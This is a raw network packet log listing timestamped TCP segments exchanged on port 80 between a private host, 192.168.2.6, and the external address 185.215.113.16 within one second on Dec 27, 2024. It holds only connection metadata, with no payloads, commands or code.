Dec 27, 2024 08:50:50.171508074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.171586990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.171617985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.172238111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.172290087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.172296047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.172308922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.172350883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.172375917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.173032045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.173069954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.173082113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.173086882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.173135042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.173204899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.173842907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.173893929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.173907042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.173918962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.173938036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.173963070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.174612045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.174654007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.174654961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.174666882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.174731016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.174731016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.175412893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.175492048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.215466022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.215482950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.215495110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.215567112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.215730906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.215801954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.215826988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.215858936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.215872049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.216111898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.357815981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.357846975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.357861042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.357918978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.357944012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.358062983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.358197927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.358239889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.358251095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.358298063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.358676910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.358728886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.358741045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.358752966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.358800888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.358803034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.359479904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.359529972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.359545946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.359558105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.359642982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.359872103 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.360271931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.360289097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.360301018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.360346079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.360346079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.360416889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.361066103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.361100912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.361112118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.361129999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.361174107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.361196041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.361848116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.361893892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.361897945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.361906052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.361964941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.361993074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.362662077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.362716913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.362728119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.362747908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.362778902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.362782001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.363414049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.363436937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.363447905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.363456011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.363522053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.363540888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.364208937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.364253044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.364264011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.364273071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.364311934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.364352942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.365015984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.365046978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.365057945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.365077972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.365155935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.365257025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.365787983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.365839958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.365854979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.365864038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.365923882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.365930080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.366570950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.366627932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.366637945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.366688967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.366688967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.366704941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.367377043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.367424965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.367434978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.367436886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.367491007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.367513895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.368263960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.368300915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.368316889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.368328094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.368438959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.368494034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.369000912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.369050026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.369055033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.369087934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.369138956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.369304895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.369750023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.369786024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.369793892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.369796038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.369842052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.369944096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.370537996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.370554924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.370564938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.370615959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.370615959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.370650053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.371294022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.371335983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.371347904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.371352911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.371390104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.371458054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.372121096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.372138023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.372148991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.372188091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.372188091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.372250080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.372905016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.372920036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.372931957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.372951031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.372992039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.373034954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.373878956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.373933077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.373943090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.373969078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.374001980 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.374068022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.374591112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.374602079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.374618053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.374630928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.374690056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.375293970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.375351906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.375374079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.375385046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.375444889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.375451088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.376202106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.376262903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.376281977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.376291990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.376302958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.376329899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.376847029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.376898050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.416773081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.416798115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.416810036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.416877031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.416904926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.416938066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.417119980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.417174101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.417185068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.417220116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.459222078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.559535027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.559588909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.559601068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.559658051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.559690952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.559767962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.559875011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.559935093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.559948921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.559987068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.560400963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.560448885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.560463905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.560468912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.560504913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.560547113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.561225891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.561249018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.561260939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.561280966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.561328888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.561363935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.562050104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.562108040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.562131882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.562144995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.562191963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.562259912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.562896967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.562930107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.562947989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.562962055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.563011885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.563129902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.615509033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.682952881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.682971954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.683052063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.695596933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.722796917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.722868919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.802395105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.802418947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.802508116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.842212915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.842227936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.842375994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.921874046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.921895981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.921916962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.921930075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.921947956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.921960115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.921969891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.921969891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.921973944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.921987057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922007084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922024965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922034979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922034979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922036886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922049999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922060966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922072887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922082901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922085047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922097921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922146082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922146082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922369003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922382116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922399044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922411919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922435045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922507048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922518969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922529936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922544003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922554970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922565937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922565937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922566891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922580004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922584057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922593117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922607899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922616959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922620058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922637939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.922656059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.922656059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.923218012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923232079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923243999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923255920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923284054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.923284054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.923337936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923351049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923362017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923373938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923388958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923402071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923405886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.923405886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.923437119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.923901081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923922062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923932076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923943043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923955917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923969030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923976898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.923976898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.923983097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.923995018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924007893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924007893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.924031019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.924040079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924052954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924057007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.924069881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924081087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924093008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924104929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924108028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.924117088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924145937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.924145937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.924799919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924843073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.924891949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924911976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924932003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924943924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924956083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924968958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924978971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.924978971 CET	49752	80	192.168.2.6	185.215.113.16
